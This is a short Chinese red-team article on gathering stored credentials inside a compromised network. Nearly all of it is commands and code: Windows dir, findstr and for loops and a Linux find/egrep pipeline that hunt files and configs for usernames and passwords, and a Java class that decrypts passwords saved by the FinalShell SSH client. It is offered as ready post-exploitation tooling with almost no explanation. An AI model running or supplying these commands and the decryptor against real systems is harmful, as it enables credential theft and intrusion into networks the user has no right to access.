内网穿透之-收集内网密码凭证（红队攻防篇章二）

dir /a /s /b d:"*.txt" dir /a /s /b d:"*.xml" dir /a /s /b d:"*.mdb" dir /a /s /b d:"*.sql" dir /a /s /b d:"*.mdf" dir /a /s /b d:"*.eml" dir /a /s /b d:"*.pst" dir /a /s /b d:"*conf*" dir /a /s /b d:"*bak*" dir /a /s /b d:"*pwd*" dir /a /s /b d:"*pass*" dir /a /s /b d:"*login*" dir /a /s /b d:"*user*"dir /a /s /b c:password.txtdir /a /s /b c:*.conf *.ini *.inc *.config dir /a /s /b c:conf.* config.* dir /a /s /b c:*.txt *.xls *.xlsx *.docx | findstr "拓扑"dir /a /s /b c:*.conf *.ini *.inc *.config | findstr "运维"dir /a /s /b c:*.txt *.xls *.xlsx *.docx | findstr "密码" >C:Users1.txt

find /tmp/ -type f|egrep -v "*.js"|egrep -v "*.css"|egrep -v "*.html"|egrep -v "*.htm"|egrep -v "*.woff"|egrep -v "*.jar"|egrep -v "*.java"|egrep -v "*.class"|egrep -v "*.properties"|egrep -v "*.MF"|egrep -v "*.tmp"|egrep -v "*.vm"|egrep -v "*.svn*"|egrep -v "*LICENSE*"|egrep -v "*.exe"|egrep -v "*.xml"|egrep -v "*.txt"|egrep -v "*.svg"|xargs egrep -s -i  "*user:|*user=|username:|username=|*pass:|*pass=|password:|password=|passwd:|passwd=|账号：|账号:|用户名：|用户名:|密码：|密码:" --color

for /r c: %i in (pass.*,username.*) do @echo %i

findstr /c:"username" /c:"password" /si *.txt

import java.io.ByteArrayOutputStream;import java.io.DataOutputStream;import java.io.IOException;import java.math.BigInteger;import java.security.MessageDigest;import  java.security.NoSuchAlgorithmException;import java.security.SecureRandom;import java.util.Base64;import java.util.Random;import javax.crypto.Cipher;import javax.crypto.SecretKey;import javax.crypto.SecretKeyFactory;import javax.crypto.spec.DESKeySpec;public class FinalShellDecodePass {     public static void main(String[] args)throws Exception {         System.out.println(decodePass(args[0]));     }     public static byte[] desDecode(byte[] data, byte[] head) throws  Exception {         SecureRandom sr = new SecureRandom();         DESKeySpec dks = new DESKeySpec(head);         SecretKeyFactory keyFactory =  SecretKeyFactory.getInstance("DES");         SecretKey securekey = keyFactory.generateSecret(dks);         Cipher cipher = Cipher.getInstance("DES");         cipher.init(2, securekey, sr);         return cipher.doFinal(data);     }     public static String decodePass(String data) throws Exception {         if (data == null) {            return null;         } else {            String rs = "";            byte[] buf =  Base64.getDecoder().decode(data);            byte[] head = new byte[8];            System.arraycopy(buf, 0, head, 0,  head.length);            byte[] d = new byte[buf.length -  head.length];            System.arraycopy(buf,  head.length, d, 0, d.length);            byte[] bt = desDecode(d,  ranDomKey(head));            rs = new String(bt);            return rs;         }     }     static byte[] ranDomKey(byte[] head) {         long ks = 3680984568597093857L / (long)(new  Random((long)head[5])).nextInt(127);         Random random = new Random(ks);         int t = head[0];         for(int i = 0; i < t; ++i) {            random.nextLong();         }         long n = random.nextLong();         Random r2 = new Random(n);         long[] ld = new long[]{     (long)head[4], r2.nextLong(), (long)head[7], (long)head[3],  r2.nextLong(), (long)head[1], random.nextLong(), (long)head[2]};         ByteArrayOutputStream bos = new ByteArrayOutputStream();         DataOutputStream dos = new DataOutputStream(bos);         long[] var15 = ld;         int var14 = ld.length;         for(int var13 = 0; var13 < var14; ++var13) {            long l = var15[var13];            try {                dos.writeLong(l);            } catch (IOException var18) {                var18.printStackTrace();            }         }         try {            dos.close();         } catch (IOException var17) {            var17.printStackTrace();         }         byte[] keyData = bos.toByteArray();         keyData = md5(keyData);         return keyData;     }     public static byte[] md5(byte[] data) {         String ret = null;         byte[] res=null;         try {            MessageDigest m;            m =  MessageDigest.getInstance("MD5");            m.update(data, 0, data.length);            res=m.digest();            ret = new BigInteger(1,  res).toString(16);         } catch (NoSuchAlgorithmException e) {            e.printStackTrace();         }         return res;     }}